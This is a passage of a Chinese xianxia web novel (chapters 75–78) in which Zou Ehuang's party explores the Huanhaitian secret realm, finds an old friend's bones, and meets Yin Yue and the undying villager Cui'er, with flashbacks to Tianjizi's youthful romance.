然而现在,徒留的几块骨头,邹娥皇竟忆不起回忆里的那人生得是怎样的一张脸了。 是俊是丑? 在几块骨头面前,什么都不重要了。 “你觉得那像是什么?” 她问。 越蓬盛揣测回答:“下跪认罪?” “毕竟他一个人影响了泉宗接下来的走向,作为徒弟来说,罪该万死,也不过如此。” “错了。” 邹娥皇走过去,将路上拾起的已然生锈的铁枪撑在紫色的手骨里。 时间倒底还是有痕迹的,那锻雷骨除了表面是紫色外,连接处还渗出了几道深黑的裂纹,但邹娥皇将枪插进这松散的骨架里时,刚刚还显扭曲怪异的骨块走势借着那生锈的铁枪之力一下就清晰明了—— 骨头的主人从未想过下跪,他只是缺了一柄枪,一柄能支撑他站起来的枪。 而骨的方向,指的是太阳升起的东方。 可是秘境里,没有太阳。 所有人都不相信这个毁了金丹的青年真的能在幻海天里找到属于他的机缘,所有人都劝这个人趁早放弃,所有人都说,勿要执迷不悟。 可是偏偏,他真的找到了。 代价是一条命,一杆枪,* 一个宗门。 人人都没说错,可人人都错了。 “他或许认错了,但没跪。” “青度,”邹娥皇轻声道。 “你的机缘来了。” 再次回到幻海天,看到黄平忠的宁死不屈,邹娥皇才终于明白,为何当初她看到青度金丹被毁时,会有一滴眼泪流的那样的快。 因为她曾经见过一个人,和青度那样像,怀着振兴宗门的理想,忍着被金丹之痛,在幻海天这样的地方,寻找着期望。 但是千年过去,理想化作虚无,枪杆成为遗物,就连当初那群出生入死的同门,也不再闻名。 只留下什么呢? 只留下那一指。 指向没有太阳的东方,也指向棋差半步的机缘。 九死一生,在修真界从不是空谈。 邹娥皇拨开骸骨下面的野草,众人闭住呼吸,出乎意料的是,野草下面的地方,黄褐色的土地上,赫然摆出了一面镜子。 邹娥皇拍了拍镜子上的土,神色有些许的微妙。 “这个镜子,连同着外面的镜阵。” 邹娥皇忽然不知道怎么开口了。 她捏着镜子的边缘,指骨泛白。 当年她和何言知走至幻海天外围的时候突然跌落的镜阵何言知破开了阵法,她和他为了防止外面的人误入同样的陷阱,封了那条镜阵出口也就是入口。 可是可是邹娥皇想到一种可能,心忽然停止了跳动,一口血气忽然梗在她喉咙处。 可是如果有人走的是里面的这条路,如果有人被困在了幻海天里面,当年根本没有走出来呢?费劲千辛万苦,找到了这面镜子,最后却发现外面被封了。 那个笑着说在门内修炼的时候,看哪个时辰出日出哪个时辰再练枪的人死在了很黑很黑,没有太阳,没有出路的地方。 而尸骨,被镜子吐了出来。 越蓬盛则问:“什么是镜阵?为什么又说镜阵是机缘?” 还是青度的机缘越蓬盛想到这里有种被剐掉身上一块肉的痛感。 邹娥皇闭眼道:“镜阵,一开始被发明出来并不是为了护法,而是破除心障,抵挡雷劫,镜中阴阳两面,时间流速与外面不同,本就是最适合修士重新修炼的地方。” 当年的黄平忠没有错,他最后还是在秘境里找到了他想要的机缘和法宝,可是倔强不知回头的青年,撞上了一条没有出路的墙。 只差一点点。 一点点。 “师伯,你” 青度看着邹娥皇的脸色,呼吸一沉。 邹娥皇苍白地笑了下,只说没事。 她接过越蓬盛手里的青骨枪,红缨依旧,故人不再。 另一侧的丛林里,陆陆续续地坐了几个散修。 散修们中间点了一个火堆,火苗微亮,照应出每个人脸上不同的神色,有戒备、忌惮、杀气每个人都坐的很远,仿佛是随时准备抽身一样。 还有几个在笑着说拿到了什么宝物,看见了什么人,修真界又出了新鲜事。 独容有衡,懒散地屈腿坐在草地上,既不融入,也不抽离。 这人眉间拢雾,对着一旁戴着斗笠看不清面容的矮个子啧了一声。 然后毫不客气地呵斥道:“谢霖,这么想当散修,当初就别跟我师妹回蓬莱。” “哑巴了?” 斗笠一动不动,只有一声瘪瘪的哼声。 第75章 幻海天内,永生不死的凡人 谢霖曾经以为。 能养出邹娥皇那么一个傻白甜的地方, 必定是人间仙境,世上寻不到的桃花源。 同门之间不说是亲如手足,也该是和睦相处。 现在他才明白, 自己错了个彻底。 大夜迷雾,冷冰冰的短匕灵光一闪,须臾间便横着朝斗笠飞去,只听得刷的一声, 谢霖四指朝上嘴巴极速开合念咒,身前一丈处幻化出了绘着罗汉的面具。 短匕与似笑非笑的银边面具相接,强大的冲击力将谢霖脸上的斗笠掀翻。 然后嘣地一声, 面具成了存存粉末, 弥散在空气中。 谢霖捂着被震出内伤的右胸,微微咳嗽了几声,又不愿引起太多人的注意, 只好咽下了喉咙里的那口血气。 容有衡只听谢霖恨恨道:“什么时候蓬莱弃徒也有资格代表蓬莱训人了?怎么, 在十四盟当散修容无常当的不开心了,又怀念起以前做开山大师兄呼风唤雨的日子了——” 后面的话被猛地刹住了, 无它, 那锋利的短匕已经梗在谢霖的脖子上,甚至还往里推了半厘,血腥味翻涌在谢霖的鼻尖。 识时务者为俊杰。 或许谢家三公子不懂,但那元婴级的邪修老祖是一定懂得的。 于是谢霖紧闭呼吸,试探着把头往旁边一偏移, 然而对面的人轻笑一声,屈手点地两下, 刚刚只破了个皮的匕首又往前推进了几厘,这次的血是刺啦地一声喷出来了一样。 已经有不少人往这边侧目了。 谢霖骂了句疯子。 “把这匕拿开。” 而那疯子充耳不闻, 仍只是屈着手,随时准备落下的模样。 谢霖想那些年邹娥皇总以为他疯,真是冤枉他了,他被那些人叫做邪修老祖,不过也只是以讹传讹,如今真疯的、该被当做邪修的人在这儿呢。 哪有一言不合就开刀封喉的。 谢霖想了想,最后还是认命解释道: “上一次五十五年前,我在这里,丢了个东西,对我而言是挺重要的东西必须要取回来。” 谢霖支吾道:“总之与蓬莱无关,容道君,总不能连这个也要管吧。” 片刻,容有衡忽而问:“你是以什么身份进来的。” 谢霖愣了。 半个月前,在十四盟登记之日,谢霖被审核完了后,思虑许久,在意愿上填的两个字其实不是蓬莱,而是散修。 他毕竟是谢家人。 哪怕从谢雨林变成谢霖,他也还是姓谢。 抛开是非对错,单对谢家来说,蓬莱就是仇人。 谢霖只是不去想,并不是忘了。 纵然谢家养他是为了喂石妖,可毕竟也让谢霖在这尔虞我诈的修真界,养了十多年的玲珑心;一报还一报,一恩叩一怨,他不去帮他们报仇,可终究也没勇气,写下那蓬莱二字。 于是谢霖用手捂住伤口,默默施了一个止血法诀后,才偏头小声回道:“散修。” “其实当初,我只是跟着去了蓬莱,归根结底,也不是你们蓬莱人。” 这一次,那见血的匕首才算一收。 容有衡盯着头顶上的月亮,破天荒地多了一句:“散修有什么好,不如蓬莱。” 可容有衡也明白。 对于谢霖来说,谢家才是这句话里的那个蓬莱。 … “黄平忠有句话我记得很清楚。” “他说,金银黄物有什么好,不如他泉宗人杰地灵。” 邹娥皇将银镜递给青度,看着那杆长枪出神。 刚刚众人都担心她出了什么事,但都没想到的是,邹娥皇过了几息就恢复了。 “” 邹娥皇眨了眨眼,眼睛有些酸涩。 她慢慢拍着那骷髅头,只觉得什么地方被忽视了。 然邹娥皇环顾一圈,也只看出了平整的土块,茂盛的草丛,无一不寻常。 “还记得那时,我和天机子一见如故,都饱受师兄威压之苦,决定组成反抗师兄者联盟,就是在这个时候遇上黄平忠这样的孽种的。” “嗯,他师父说他是孽种的,说有这么个徒弟,就是为了讨债。” 但是平忠消失后,闽老祖生前的最后一句话是,孽徒,你的债—— 怎么讨完的那么早哇。 “那个时候我们胆子也大,再加上幻海天是第一次被开发,其实我们很多东西都没掌握全然后我们就遇到了这里的原住民,嗯,就是一直生活在秘境中央的,守着那一口海的原住民。” “我们不知道这些人的特殊性,只以为这只是秘境里走不出的人,生出来的后代。” “那些人热情好客,甚至还有拿在凡人间流通的金银之物,想劝说我们留下的。” 有些时候,秘境里有时候确实是会误闯进一些凡人,譬如说夏朝时君主为讨修士欢心赋税剥削,就有个有名的“桃花源”,就是一堆凡人躲进了秘境里谋生。 但是幻海天里面的不一样。 一代又一代进入幻海天秘境的人,出来后提起这秘境里面的原住民,总是讳莫如深的。 概是因为,当初第一代也就是邹娥皇他们那一代,和秘境里的人建立了友好的礼仪后,等七十年过去秘境第二波人出来后,略带伤感地问进去的人,自己的老朋友怎么样了,有没有实现当初儿女双全的目标巴拉巴拉的。 然后两代人汇到一起说时,才惊悚地发现,隔了七十年之后,幻海天秘境开启时,里面的凡人还是原来的那一批。 这岂不是反了天么。 要知道这七十年间,连修士都因为行业所有的高风险,死了一多半怎么这群在秘境里的凡人毫无变化呢? 七十年过去,幻海天秘境里什么变化都没有,这才是最大的问题。 于是这也衍生了有关于幻海天的那个说法,说幻海天的主人本就是个强大的幻术师,不仅幻化了幻海天里的海,还幻化了一群栩栩如生的村民。 “我和天机子确实在那里留了一阵,但是黄平忠没有,他留下那句话,就走了,去寻找他的机缘了。” “然后人就没了。” 邹娥皇一字一句道:“我害了他。” 等等。 邹娥皇瞳孔骤然收缩,睫毛轻颤。 却是忽然反应过来了什么。 这不是第一次幻海天开启的时候,路上还有没被人发现的法宝机遇这是幻海天开启的不知道多少n代了。 也就是说—— “黄平忠和这面镜子都是被移到这里来的。” “怎么推断的?” 青度握着手里的银镜,面色沉静。 邹娥皇想了想才说:“很简单。 ” “此处是幻海天中围,这条路不说是被走烂了,却也该有些痕迹的。哪怕什么都没有,也不该让一具雷锻骨在这里白白躺这么久”邹娥皇顿了顿。 许是看出了越蓬盛眼里的疑惑,邹娥皇解释道:“雷锻骨是修士经过术法修习后,能承接天雷的骨头,在某方面来说,没有什么材质比它更适合制作一些防器了。” “在修真界,这样的骨头,一两就是九品灵石。” “哪怕是大门派的人路过了不想要,那些小门派或者散修,历年来也多的是困于天雷之下修为寸步未进的人,总会有人把他的骨头收起来的。” “如果没收的话,那就说明,这条路上只走过我们。显而易见,是不可能的。” “你是说,这一切都是假的?是幻境?” 越蓬盛试探着问,他看着那杆枪,顿觉遍体生寒。 “是也非也。” 邹娥皇沉默片刻才徐徐道: “黄平忠应该是真的这么死的,但也是被人摆到了这个地方,以作诱饵。” “而能做到这一切的,只有秘境里的原住人。” “何人作怪—— “请出来吧。” 平静的女音刚落,众人就听到了一阵吱吱呀呀的笑声从树上传来,一个猴子一样的东西唰地窜下了树,直直奔着邹娥皇袭来。 … “师父,还要继续往前动么?” 尹芝跟在尹月身后。 她们七彩阁弟子本来只有五个名额,和蓬莱一样,但是尹月那次会议上把握了主动权,愿意公开有关于那神目的资料,加上鬼谷与墨庄被打了个动机不纯的头衔 尹月便顺理成章地借着七彩阁尹婉长老受伤一事,不仅自己出发幻海天,还多捞了四个名额。 现在幻海天里,除了昆仑的十一位弟子外,就是她们七彩阁九个弟子的数量多了。 在灵气微薄的地方,人数总是占优的。 尹月侧耳细听了一下动静,微微抬手,示意停下,接着吐出了一口巴掌大的灵气,点亮了这四周的一切。 “继续,”尹月轻笑道,“到现在为止,本座都还没有看见其他四大派的人,要么是咱们走错了路,要么就是人家的速度比咱们快。” 这师徒俩的眉眼如出一辙的明艳张扬,性子也是近乎一样的蛮横霸道,不与人讲理。 在幻海天这样资源充足的秘境里,其实很少有为了什么各大门派大打出手的时候,除了当年被邹娥皇拿到手的不死神木的种子外,这么多年,几乎就没见各大门派为了什么红过眼。 但是七彩阁偏生是这里面的特例。 她们从一开始,就挑着人走的路走,追着人的痕迹去。 第76章 道祖喜欢丰腴美人 东谷西岭, 天下一霸。 说的便是这两地出生的人,常年瘴气笼罩,人么却一年比一年的嚣张了。 很久之前众人总觉得此句言过其实, 直到第一位西岭天女尹月求学蓬莱不得,出世后为了泄愤先灭了初具规模的邪宗,并在邪宗的地盘上创立了如今的七彩阁。 众人才觉此女刁蛮,霸道一词, 竟意犹未尽。 此刻,尹月漫不经心地理了理鬓发,呵笑道:“幻海天里面一定是有人的, 没见到人只能说明你我落后了, 但是本尊的词典里没有落后一词所以,什么时候撞上人,什么时候咱们停路。” 另一厢, 从树上呲溜一下就朝着邹娥皇袭来的东西, 还没过三秒就被人摁住了脖颈,四只爪子在空中胡乱飞舞着。 确实是个猴子。 比起旁的猴子, 这只猴子多张了一双带着羽毛的耳朵。 邹娥皇眼中忽然闪过一丝了然地笑意。 然后对着旁边的众人道:“你们爱吃烤肉吗?就是架个火堆把猴子四只爪子绑上去烤。这年头送到嘴边的妖兽不多了。” 她捏着吱呀乱叫的猴, 轻笑一声,然后缓缓道:“难得来个投怀送抱的,咱们做人呐,要懂得珍惜。” “不能辜负了它这身皮肉。” 于是,刚刚还吱呀乱叫的猴儿一下子僵住了, 只有两个大大的眼睛挤在框里,乌溜乌溜地转。 “这猴儿能听懂人话?” 越蓬盛稀奇地去同小猴儿握爪, 结果好险没被挠了三道,立刻脸色一板, 对着邹娥皇道:“看来是不听话的顽猴一个了,背后估计也没什么主人,事不宜迟,现在就给它烤了。” “吱——” 猴子这次换了语气,用那种特无辜特可怜地眼神盯着邹娥皇看。 邹娥皇将它的脖子那块的毛发掀开,果不其然看见了一个眼熟的花纹。 孙峰贰:“这是什么东西?怎么有些眼熟。” 越蓬盛则是一惊。 他认出来了。 那日西吹雪掉下的香囊,尹婉说是幻海天里面的东西时,越蓬盛就暗暗注意过那个花样。 和现在猴子背后的,一模一样。 邹娥皇一松手放开了猴子,那猴子喉咙里就发出一阵嘀哩咕噜地叫唤,但是就是不跑,站在三寸远的地方盯着邹娥皇。 邹娥皇歪头。 一人一猴大眼对小眼了许久,邹娥皇竟从一只猴子的视线里看出了类似于人类的复杂哀怨。 害。 邹娥皇终究是心软了。 她半蹲下身,挠了挠小猴的下巴,徐徐说:“那人既然都让你来寻我了,那我怎么能不去呢?” 众人有些纳闷,那人?什么意思。 越蓬盛于是问:“师伯,你认识这猴的原主人,也就是秘境的那群不死不灭的怪村民?” 邹娥皇微笑道:“何止认识。” “当年我和天机子命悬一线,就是这猴和它主人给我们救了,严格意义上来说,它也算我的半个恩人。” “呵。” 幽幽山谷里,骤然传出一阵带笑的女音。 “让未开灵智的兽当你的恩人,你也算越长越出息了。” “谁——” 孙峰贰耳朵一动,女子的声音分明从西面传来,但是他竟判断不出对方的位置。 可见来者实力高深莫测。 “尹月?” 邹娥皇这声其实并不确定。 直到那玲珑有致的人昂着下巴斜着眼睛朝她走了过来,耳熟又傲娇的鼻音重重一哼。 尹月嫌弃地一踢地上的小猴。 “这就是当初的那只猴?” 邹娥皇面不改色:“你说哪只。” “还有哪只?那只把你和天机子折腾了个半死的衰猴,”夜色深深,尹月情不自禁地抿嘴笑了下,但又压了下去,冷冷道:“你真要跟着这只猴走?” “怎么,不放心我?” “谁不放心你…呸,谁关心你了。本阁主是觉得么,这猴一定是要带你们去找它的主人,也就是这里的原住民。” 尹月道:“我既然在这里看见了,就断没有让你们蓬莱领先的道理,你既然要跟着一只猴子走,那就带上七彩阁。” “” “你不乐意?” 尹月又哼了下,威逼利诱:“你可得想清楚,本阁主这里人多,现在是和你商量,一会直接动手了,可别说我没提醒你。” 邹娥皇只是慢悠悠地一抬眼,打量了尹月半响才道:“尹阁主,我听说你在几日前的会议上很威风嘛。” “怎么了?” “没什么,尹阁主,我就是好奇。” 邹娥皇嘘声道:“我听说你在那场会议上四两拨千斤,从鬼谷手里换了一座灵矿,又为了那神目一事重组了一个特别行动的盟会,隐隐有要和十四盟对抗之势——” “你觉得我做的不对?” 尹月声音骤冷。 刹那间剑拔弩张,众人都呼吸一滞。 “没有,”邹娥皇只走过尹月,拍了拍她的肩膀道:“我只是想说,尹阁主在面对那些人的时候,用的也是这样小孩子过家家的威胁么。” 尹月一愣。 却只听邹娥皇轻声道:“你我之间,什么话不能直接地说。” 错了,尹月想,邹娥皇。 你我现在隔了两个门派的利益纷争,早不似、少年时。 那猴子一路蹦蹦跳跳。 好在路上没有几个人,只遇见几个双手合十的佛修,瞧着是无渡宗的。 尹月乜了那些和尚几眼,直把他们瞅地面红耳赤才心满意足地勾了勾唇,贴着邹娥皇耳朵道:“很久之前,我还以为你要当和尚,结果没想到你一鸣惊人,直接当着那宴霜寒的面吻了你家大师兄,你知道当时那昆仑脸黑成什么样了么。” 邹娥皇了悟。 剑修在修真界是出了名的孤寡。 而她和宴霜寒比了一辈子,如今终于比对方先成家立业,人家黑脸也是正常。 邹娥皇吭哧吭哧了几声,有心要辩解几句,架不住脸色发红。 她不习惯和别人谈起现在已经和她变了个关系的师兄,之前青度和越蓬盛问起,她也只当没听见。 哪怕现在是尹月说这个,邹娥皇也总是有些害羞的。 师兄么邹娥皇现在唯一能想到的就是那男子薄软的唇,欲遮欲掩的身子。 尹月忽然叹道,“其实你们剑修很好懂,喜欢勾人的小妖精。但是有的人不有的东西么,就跨物种了,我怎么揣摩他,也不明白他到底喜欢什么样的。” 邹娥皇:“…” 这姐真是几千年如一日的喜欢挑战高难度。 “月啊,”邹娥皇想了想说,“其实吧,道祖本体不是一朵云嘛,咱们人类的审美和他不一样哈,你想一朵云来说,他们的审美其实是膨胀的。” 尹月不解:“什么意思?” 又走了几步路,众人穿过高高的树杈,尹月眯眼抬头看着天幕,突然反应过来了什么,脸色苍白地拽着邹娥皇的衣角道:“你师父他喜欢丰腴的?要多丰腴才行?” 邹娥皇怜悯地摇头:“之前蓬莱养过一只豕,足足有三百斤重,然道祖握着那豕的蹄子,咂舌,觉得还不够可爱。” 尹月面如死灰,失魂落魄。 猴子在前面吱吱地叫。 邹娥皇庆幸镇魂兽走得早,否则一定能和这顽猴打个天昏地裂。 又走了约有一炷香。 “前面是个亭子么?” 越蓬盛问。 有了亭子就代表有了人烟。 他虽然一路上一直听邹娥皇讲这个秘境里有人,这个秘境里人的奇特性,巴拉巴拉的,但是吧,真走到了,越蓬盛就未免有点害怕了。 不死不灭,听着咋那么有鬼呢。 越蓬盛悄悄地放慢了脚步,走在了青度后面。 亭子里摆着一盘棋。 大约是许久未有人下了,落了灰。 那猴儿走到这里就不动了,叽叽了两声就挂在邹娥皇的身上,亭子前再过几步拐角就是村落了。 夜深了。 哪怕这些秘境里的原住民都是些不死不灭的人,此刻家家户户的房门倒也紧闭,至少是睡觉的。 越蓬盛微微有些放心,欣慰地想,能睡觉好啊,能睡觉说明不是鬼。 独一处闪着些许的烛光。 脚步声踩在松垮的枝叶上,黑影慢慢从墙根处显露出来。 邹娥皇抬眼一扫。 两侧青瓦间,粗布麻衣的姑娘扎着两条乌黑的麻花辫,手上持着烛台,立在路头。单看模样,和秘境外的姑娘们没有什么不同,然而浑身上下却有着一股说不出的诡异之感,大约是因为那双眼睛过于地死气。 谦立延眼尖,瞧见了那姑娘手臂上和猴子如初一折的花纹。 咔哒地一声,挂在邹娥皇上身的猴子一下子粗溜下来,朝着那姑娘跑了过去。 “翠儿。” 这个名字在回忆里尘封了太久,但邹娥皇却一直记着,而且她知道,天机子是惦记最深的那个。 有一个头发胡子一把抓,死的时候只剩一捧灰的人,也记着这秘境里的姑娘;那精巧风流一出六月飞雪的西吹雪,长剑下挂着的配饰,多年未改的那枚香囊,就是最好的证明。 “你、来、了。” 被邹娥皇叫做翠儿的人僵硬地一偏脖子,那双死气沉沉的眼睛里闪过几丝急躁。 “他、呢?” 他是谁?众人心里一个嘀咕。 却见邹娥皇走过去,轻轻替翠儿把参差的毛发捋了一下,然后才微笑着回答。 “多年未见,翠儿姑娘风采未变,但是赵郎么,他已经变成了老头子了,不敢来见你了。” 翠儿没说话。 只有死气沉沉的眼睛睁得极大,因而显得空荡荡。 邹娥皇以为她哭了,然后伸手一试,才发现那姑娘面容仍只是如瓷器一般地冷,并没有多余的什么温度。 也就没有了多余的泪。 “我、感受到、香囊、就在、附近——” 第77章 赵流风是被猴子尿渍醒的。 谁年少的时候没有一个初恋呢? 但是有的人吧, 他年少的初恋多如过江之鲫,不止一个。 天机子,本名赵流风, 十五岁起就在当铺里典当了爹爹的佩剑,去修真界最大的青楼里,求个一醉天地。 十六岁,男扮女装做花旦, 被他爹忍无可忍的扔到了昆仑舟上。 二十三岁,持佩剑西吹雪,踌躇满志, 踏上了幻海天, 自此成名。 几百年前一日,宴霜寒闭关,死海动乱, 天下震荡, 独天机子眉弯眼笑,裹着锦素色的披风, 单手持剑, 一把西吹雪,一日死海冰河。 有一段时间,想嫁给他的人,甚至比想嫁给宴霜寒的人还要多 。 天机子曾经是这么跟何九州吹嘘过他的光荣岁月的。 而何九州从来只当这老头醉了,并不理会, 甚至有时候听得烦了,这半大小子还要出言不逊一句:“是么?那怎么师父你现在去喝酒, 连那掉钱眼的花娘都让你滚。” 显而易见,是因为这老头脸上褶子太多, 太老了。 但何九州不知道。 他师父是真风流过的人,哪怕这千万个红颜知己都是夸大其词,当初至少也有一个人真心地想要嫁他。 就在这幻海天里,邹娥皇面前。 两条麻花辫,一只猴儿,一个叫翠儿的姑娘。 “你怎么知道我来了?” 邹娥皇问翠儿。 翠儿黑白分明的眼珠子僵硬地一转,过了半响慢慢地摇了摇头。 “你不知道?” 翠儿适才点了点头。 这姑娘指了肩膀上吱吱唧唧的小猴子,黑沉沉的眼珠子看着邹娥皇,慢吞吞地吐字:“猴儿、每天、都在。” 每天都在。 每天又是多少天,要从他们五千年前离开起的每天算么。 痴情者。 邹娥皇哑然,她盯着翠儿黝黑的瞳孔,有心想说什么,但是又不知道说什么。难道要告诉这翠儿,天机子死了、死在了终于修炼好撕裂空间的技术后,来这里的前夕么。 喜欢和喜欢之间是有轻重的。 初恋和初恋之间,也该是有区别的。 二十三岁的赵流风踏进幻海天秘境,和邹娥皇一路坑蒙拐骗,两人在夹缝里引起鬼谷与墨庄的混战,然后捎带着路上捡来的黄平忠,一路往西逃。 结果还是被鬼谷的肖贵给追上了,十几个人围着三个人痛殴,赵流风一路喊痛,然后一脚踩空,跌跌撞撞地就要从峭壁上落下,顺手抓住了邹娥皇的靴子,然后邹娥皇扯住了黄平忠的裤脚。 哐当地几声。 人掉了,靴掉了,裤子也不能幸存。 三个人一齐跌落悬崖。 才算是整整齐齐。 不知昏迷了多久,直到一道水流泚在赵流风的脸上,赵流风模模糊糊地恢复了意识,大喜自己居然还活着之余,就是一抹脸上荤黄刺鼻的尿,就和站在他胸前的猴面面相觑。 而猴身后,就是一个穿着青绿长袄的姑娘,偏头看着他,目光冷清清。 两个人对视了片刻,然后不约而同地一齐转开。 只听得西吹雪发出了欢瑞的尖鸣声,而赵流风脸色通红,还年轻的他心想,这姑娘真俊啊。 十五岁就知道当了自己爹的剑换酒的天机子,在二十三岁的某一个下午,才迎来了人生的第一次情窦初开。 尔后的一个月里,黄平忠去寻他的前程与风光;邹娥皇通过线索去找不死神木;而赵流风,每天姑娘长姑娘短地跟在不说话的翠儿身后。 他说:“姑娘,你为何总不说话?” 他说:“姑娘,我会唱曲儿给你听。” 他说:“姑娘,你是怎么呆在幻海天的。” …等到走的那天,白衣翩翩的赵流风脚步一顿,他捏着手里的判官笔,咬着下唇。 少年剑修终于鼓起勇气说:“姑娘,我给你画幅画儿吧。” 听到这句话的翠儿从后头一把抱住了宽肩窄腰的年轻剑修,冰凉的脸贴在少年滚烫的后背,肌肤和肌肤之间,只差了半寸薄布。 赵流风听见风吹草动。 也听见喧嚣的心跳。 这是后来醉醺醺的天机子再也听不到的、也再也感受不到的欢欣与雀跃。 于是,彼时的他喃喃问—— 姑娘,能不能跟我走啊。 此话一出,那双抱在他腰身上的手就僵住了,立刻仓皇地将他推开,只佩剑上还余出了一个绣着花的香囊。 腼腆的翠儿姑娘摇了摇头,站在幻海天秘境里面,一步未动。 从此,执拗的剑修再也没扭过性来。 天人五衰、合道之躯碰天地之力,种种叛逆,不过是情之所起,前途和仙道之间,天机子喝了口酒,选择吊儿郎当地走着一个人的路。 他甚至都没想过,翠儿出了秘境之后会不会老,会不会死。 比起他师兄宴霜寒,天机子才算那个不知所谓又任性的人。 连死时都那样。 坚持了几千年,偏偏要在一朝扭脚。 邹娥皇一行人被翠儿安顿在一处院落里。 翠儿将角落四周都点上灯之后就安静地走了,临走前她盯着邹娥皇——就用那双木了的眼睛,静静地看着邹娥皇,然后一步一步倒退到黑暗里。 众人听见,院门从外到里吧嗒地一声合上。 等猴儿叽里咕噜的叫声远去后,邹娥皇摸着青瓦才长吁短叹地对众人道:“这间屋子,当年是我砌的。” “师伯,”越蓬盛神色复杂:“我终于明白了,什么叫家有一老,如有一宝。” 越蓬盛摸着下巴咂舌。 “有你在,我们都不用去舔脸做贡献了。” “” 虽然是被夸了,但怎么开心不起来。 邹娥皇又深沉道:“也到时候了,我来跟你们讲讲,我那年的幻海天吧。” 若把幻海天作为一个秘境来讲的话,那实在是没什么好说的,充其量也不过是在里面寻宝罢了。 可若把幻海天作为各位天骄七十年轮一回的扬名之日的话,那实在是有太多的可说之处了,而这最关键的就是,如何才能在与幻海天同岁的石碑留下自己的名字。 这么多年众说纷纭,可就算那些已经留名的人,对于此事的规则也是稀里糊涂的。 尹月瞥了邹娥皇一眼,抬手让七彩阁的九个姑娘也凑过来听。 邹娥皇大约是很会讲故事的。 体现在她将自己和天机子被追着打的经历美化成了路过不平拔刀一声吼,又将踩空掉下悬崖说成了故意去悬崖底下找机缘。 嘛。 毕竟都是她自己讲了,美化一下自己的形象也不算过分吧。 邹娥皇翘着腿,说起了和这里村民的第一次见面:“当时我们跟着翠儿走,然后发现了除了她之外,还有一群人。” 邹娥皇将袖子撸上来,点了点自己的手臂,然后道:“这些村民共同的特点,就是手臂上都有这个花纹。” “后来也有人猜测,这些花纹其实是一种诅咒或者说阵术,将这些村民,昔日的凡人的魂魄塞到了傀儡的身体里,营造出了所谓的不死不灭。” 尹芝站在一旁,此刻终于忍不住出声:“如果真这样,不能直接杀了一个村民么,如果是傀儡的话,那大概就不会自己修复,或者将那花纹抄录下来——” “抄录不了。” 越蓬盛出声打断。 细看,他额前不知何时起有了密密麻麻的冷汗。 论起记忆力,越蓬盛修行巫祝之术,在场的人里,唯有青度早年专门学习过一些秘法能与他不分上下,可说起阵法这样沟通天地的事,越蓬盛自认不输任何一个。 但凡从他视线里划过的纹样,过目不忘。 然而那花纹,他在西吹雪的香囊上见过一次,猴儿后背见过一次,笼统三次。有印象是有印象,只是下笔的时候他竟头痛欲裂,什么都画不出来。 众人闻声后神情变化莫测。 邹娥皇亦屈手将袖子放下,* 转头看向尹芝,淡定道:“你这女娃娃真是和你师父一个模子刻出来的,如果这些村民真的能被杀的话,这么多年,你们进来的时候,早该连一个也该没有了。” 邹娥皇徐徐道: “幻海天秘境第二次开启的时候,就有人要杀这些村民。但是诡异的是,无论前一日如何血流如注,哪怕他们把这些村民烧成了灰,第二日,村民仍然会出现在原有的位置,用发木的眼睛看着人。” “不死不灭,这四个字在这里,并不是夸大其词。” 尹芝只听得邹娥皇声音将沉,然后竟又清脆地笑了下。 “都板着脸做什么,没要你们去打仗呢,先在这里哭丧。咱们回归正题。” “那日我跟着翠儿,第一次见到了住在这里的村民。那些村民们神色呆木,但是言谈举止除了一卡一顿之外,都算正常,只一点,当时他们并没有居住的地方,也并不在乎晚上睡哪里,而是到了夜间的时候,每个人都静止不动,双眼紧闭。” “并且这个村里一共有一百零八个人,都绕着最中心的一口井,围成了圆形。” 尹月坐姿稍显端正,耳朵动了动。 这段连她都没听过。 “众人只知幻海天是海,然一路走来,遍地荒芜,哪怕进境之后,也不过是绿树葱葱,不见海河。” 邹娥皇轻声道:“可我一直与你们说,幻海天,一定是有海的。” “我见过的。” “它就在那口井里,绝对不是井水,你从上往下看去,就能看见一方世界,浩瀚无垠。” 第78章 凡人的苦,难道是修士造成的吗 “我看到这口井的第二日, 就去试探过翠儿的口风,我问她,为何这里的人晚上都不睡觉, 只守着那口井。” 下一秒,邹娥皇吹灭了屋里的烛灯。 一片漆黑里,众人忽然觉得空间前所未有地窘迫了起来。 “翠儿就是这么告诉我的。” 邹娥皇道:“她说,那口井就是灯。晚上的秘境暗无天日, 看不见灯他们会觉得彼此的存在被吞噬了,只有守在那口井那里,他们才觉得, 活着。” 什么人才要体验活着的感觉。 又是什么人在黑夜里会觉得被吞噬。 或者说, 这些人,还算是“人”么。 “当时的我并没有意识到这些异常,”邹娥皇摩搓着下巴, 微微笑道:“那个时候的我以为翠儿说的是怕黑, 便自告奋勇地交给了她,钻木取火。” “什么是钻木取火?” 越蓬盛瞪大眼睛, 里面写满了不可置信。 他在蓬莱岛上修行多年, 不敢说是博闻强识,但多少还是看过不少修真秘典的,可从没听过钻木取火这四个字。 邹娥皇目光凝在越蓬盛身上,像是透过他在看另一个人。 天机子当初也是这么问的。 在凡人世界里家常便饭的引火方式,在这些修真土著的面前, 甚至掀不起半个水花。这些生性傲慢的修士啊,天生便信自己就是这个世界的主宰, 天地万物的元素都该为己所用。 所以当面对是一个修仙世家里养出来的修士时,你如果问他, 火是怎么点的。人家八成要一打响指,拽出一个火诀,然后得意洋洋地告诉你,就这么出来的。 可是这世上修士十不存一。 绝大多数的人,从一开始就不具备使出这样简单戏诀的能力,非是不想,而是不能。 “钻木取火,就是用硬木棒对着木头摩擦生火,”邹娥皇指了指刚刚被吹灭的烛灯,低声笑道:“就像是这里的烛灯一样,他们产生的火,都和你们认知里的灵力无关,你明白吗,修士不是万能的,凡人也不是无能的。” “正相反,越蓬盛,你有想过么,若你一生只是一个没有灵脉的凡人,不是出生在蓬莱岛上,而是就出生在二十年前妖界入侵的十四凡州之一,你有想过么,你该如何才能活下去——” 越蓬盛想了想,顿觉鸡皮疙瘩都起来了。 一个修士尚且在乱世不得独身,何况手无缚鸡之力的凡人。 “可是那些凡人就是这样的活了下去,他们面对着荒灾,没有被饿死;面对着极寒,学会了取火;得知妖王兵临城下,修士们望风而逃,丢城弃甲;而凡人么,则在边境十二城立了炮台,拖住了当时最精锐的虫队,为战局扳得一个喘息,等来了宴霜寒的出山。” “当然。” 邹娥皇又笑。 她双手拂过烛灯,下一秒火光亮起,将一行人的身影一一照在墙壁之上。 邹娥皇声音素来温和,偏众人莫名地听出了几分冷诮。 “后世只会记得宴霜寒,他们说没有宴霜寒的一剑,天下就要大乱。凡人把剑皇当神一样崇拜,却忘了,一开始拯救他们命运的,其实是和他们一样的人。” “” 